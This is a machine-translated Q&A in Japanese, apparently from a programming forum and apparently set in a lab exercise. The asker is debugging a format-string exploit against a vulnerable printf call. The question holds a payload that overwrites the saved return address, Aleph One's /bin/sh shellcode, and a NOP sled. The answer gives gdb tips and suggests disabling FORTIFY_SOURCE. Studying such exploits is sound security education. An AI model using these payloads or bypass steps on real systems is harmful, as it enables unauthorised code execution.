1

スタックのランダム化が無効になっている環境でこれを実行しており、AlephOne のバッファ オーバーフローと互換性のある gcc バージョンを使用しています。

シェルコードを含む配列のアドレスで命令ポインタ レジスタ (eip) を上書きしようとしています。私はいつもセグメンテーション違反に終わります。以下は、私が悪用しようとしているスニペットです。

//Prints version
static
void print_version(char* cmd) 
{
    char txt[640+1];
    snprintf(txt, 640, "Submission program version 0.1 (%s)\n", cmd);
    printf(txt);
}

execve() を介してこの関数を呼び出しています。ここでは、フォーマット文字列は argv[0] であり、上記の関数に正常に渡されます。

私はこのフォーマット文字列を持っています:

\x0c\xdc\xbf\xffjunk\x0d\xdc\xbf\xffjunk\x0e\xdc\xbf\xffjunk\x0f\xdc\xbf\xff%8x%8x%120x%n%5x%n%230x%n%64x%n

続いて 200 の NOP、シェルコード、および NOP を含む残りの配列が続きます。

シェルコードは Aleph One のコードです。

static char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\ x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

フォーマット文字列に戻ると、0xffbfdc0c から 0xffbfdc0f までの 4 つのアドレスを上書きしています。0xffbfdc0c は、冒頭で述べた print_version() 関数にブレーク ポイントを設定して見つけた保存済みの eip アドレスです。

私はそれをアドレス 0xffbfdcd4 に置き換えようとしています。これは、print_version の txt[] 配列のベース アドレスの 150 バイト上にあります (その後、関数内の txt[] の最初の文字とフォーマット文字列を数えて、着陸することを願っています)。シェルコードの前の NOP のどこかにある)。

SEG障害が発生するだけです。さらに先に進む方法や、意図したアドレスの値が実際に上書きされているかどうかを確認するためにデバッグする方法がわかりません。

編集:正しいフォーマット文字列を使用していますか?

私のプログラムがセグメントフォルトを生成した後、またはセグメントフォルトの直前でアドレスの変更後にgdbを使用してアドレスを確認する方法を教えてください。

ありがとう。

4

1 に答える 1

0

いくつかのこと..フォーマット文字列がargv [0]であると述べています。argv[1] を意味していませんでしたか? argv[0] は通常、プログラム名用に予約されており、argv[1] はプログラムの最初の引数です。

右が発生する前と直後にブレークポイントを設定し、x/x 0xffbfdc0c を使用して、正しい場所に書き込んでいるかどうかを確認することで、右の後のアドレスを調べることができます。GDB マニュアル (オンラインで入手可能) も役立つ場合があります。

フォーマット文字列の書き込みのいいところは、どこに書き込めるかが限定されないことです。プログラムをコンパイルするときにも -D_FORITY_SOURCE が設定されていないことを確認したい場合があります。

于 2013-10-04T00:34:07.187 に答える